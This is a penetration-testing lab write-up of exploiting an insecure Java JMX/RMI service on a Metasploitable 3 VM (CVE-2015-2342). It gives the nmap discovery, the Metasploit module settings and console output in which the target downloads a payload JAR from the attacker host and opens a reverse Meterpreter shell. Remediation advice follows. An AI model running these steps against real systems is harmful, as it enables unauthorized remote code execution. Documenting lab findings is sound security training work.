

PENETRATION TESTING FINDING

Metasploitable 3 — Finding #01

Java JMX Server Insecure Configuration — Remote Code Execution

Target	192.168.116.137
Port / Service	1617/tcp — Java RMI / JMX
Vulnerability	Insecure JMX Remote Configuration / Remote Code Execution
CVE	CVE-2015-2342
Severity	Critical
Authentication	Not required for the demonstrated exploit path
Metasploit Module	exploit/multi/misc/java_jmx_server
Result	Meterpreter session successfully opened

1. Executive Summary

A Java RMI/JMX service was identified on TCP port 1617 of the Metasploitable 3 target. The service was successfully exploited using the Metasploit java_jmx_server module. The exploit completed the RMI/JMX discovery and handshake, loaded the payload JAR, executed the payload, and opened a Meterpreter session back to the Kali host. This demonstrates practical unauthenticated remote code execution against the exposed JMX interface.

2. Discovery

Nmap service detection identified TCP/1617 as a Java RMI service:

```
nmap -sV -p1617 192.168.116.137
```

Observed result: 1617/tcp open java-rmi Java RMI. The evidence screenshot is included in the Evidence section of this report.

3. Exploitation

The Metasploit module exploit/multi/misc/java_jmx_server was selected. Rapid7 describes this module as exploiting an insecure Java JMX interface configuration that permits remote class loading; JMX interfaces with authentication disabled are expected to be vulnerable.

Key configuration used:

```
RHOSTS 192.168.116.137
```

```
RPORT 1617
```

```
Payload: default Java Meterpreter reverse TCP payload
```

```
LHOST 192.168.116.128
```

```
LPORT 4444
```

The exploit output shows successful RMI/JMX endpoint discovery, handshake, payload loading and execution, followed by a Meterpreter session being opened from 192.168.116.137 back to 192.168.116.128:4444.

4. Exploitation Result

The exploitation was successful. The console reported:

```
Meterpreter session 1 opened (192.168.116.128:4444 → 192.168.116.137:49424)
```

This is the primary validation criterion for this portfolio finding: remote code execution was not merely detected; it produced an interactive Meterpreter session.

5. Impact

Successful exploitation of an exposed and insecure JMX interface can allow a remote attacker to execute attacker-controlled Java code on the affected host. Depending on the privileges of the Java process and the surrounding system configuration, this can lead to compromise of application data, credentials, confidentiality, integrity, and availability.

6. Evidence

Evidence A — Service Discovery

```
(root@kali)-[~]
└─$ nmap -sV -p1617 192.168.116.137
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-04 14:14 EEST
Nmap scan report for 192.168.116.137
Host is up (0.0018s latency).

PORT      STATE SERVICE VERSION
1617/tcp  open  java-rmi Java RMI
MAC Address: 00:0C:29:AF:34:62 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 12.78 seconds
```

Nmap confirms TCP/1617 is open and identified as Java RMI.

Evidence B — Successful Exploitation

```
msf6 exploit(multi/misc/java_jmx_server) > run
[*] Started reverse TCP handler on 192.168.116.128:4444
[*] 192.168.116.137:1617 - Using URL: http://192.168.116.128:8080/ZKOztJv4adtNWR
[*] 192.168.116.137:1617 - Sending RMI Header ...
[*] 192.168.116.137:1617 - Discovering the JMXRMI endpoint ...
[+] 192.168.116.137:1617 - JMXRMI endpoint on 192.168.116.137:49156
[*] 192.168.116.137:1617 - Proceeding with handshake ...
[+] 192.168.116.137:1617 - Handshake with JMX MBean server on 192.168.116.137:49156
[*] 192.168.116.137:1617 - Loading payload ...
[*] 192.168.116.137:1617 - Replied to request for mlet
[*] 192.168.116.137:1617 - Replied to request for payload JAR
[*] 192.168.116.137:1617 - Executing payload ...
[*] Sending stage (58073 bytes) to 192.168.116.137
[*] Meterpreter session 1 opened (192.168.116.128:4444 → 192.168.116.137:49424) at 2026-09-04 14:15:45 +0300
[*] 192.168.116.137:1617 - Server stopped.

meterpreter > █
```

Metasploit successfully discovered the JMXRMI endpoint, completed the handshake, loaded and executed the payload, and opened Meterpreter session 1.

7. Remediation

For production environments, JMX/RMI management interfaces should not be exposed to untrusted networks. Recommended controls include:

- Disable remote JMX where it is not required.
- Require strong JMX authentication and authorization where remote management is necessary.
- Restrict JMX/RMI access with network ACLs/firewall rules to trusted management hosts only.
- Apply vendor security updates and maintain supported Java/application versions.
- Monitor JMX/RMI activity and unexpected Java class-loading behavior.

8. References

- Rapid7 Metasploit module: Java JMX Server Insecure Configuration Java Code Execution (exploit/multi/misc/java_jmx_server).
- MITRE CVE-2015-2342: JMX RMI service remote code execution vulnerability.
- NIST NVD CVE-2015-2342: CVE record and severity information.

Assessment conclusion: The finding is confirmed in the lab because the vulnerable JMX/RMI service was remotely exploitable and produced a Meterpreter session.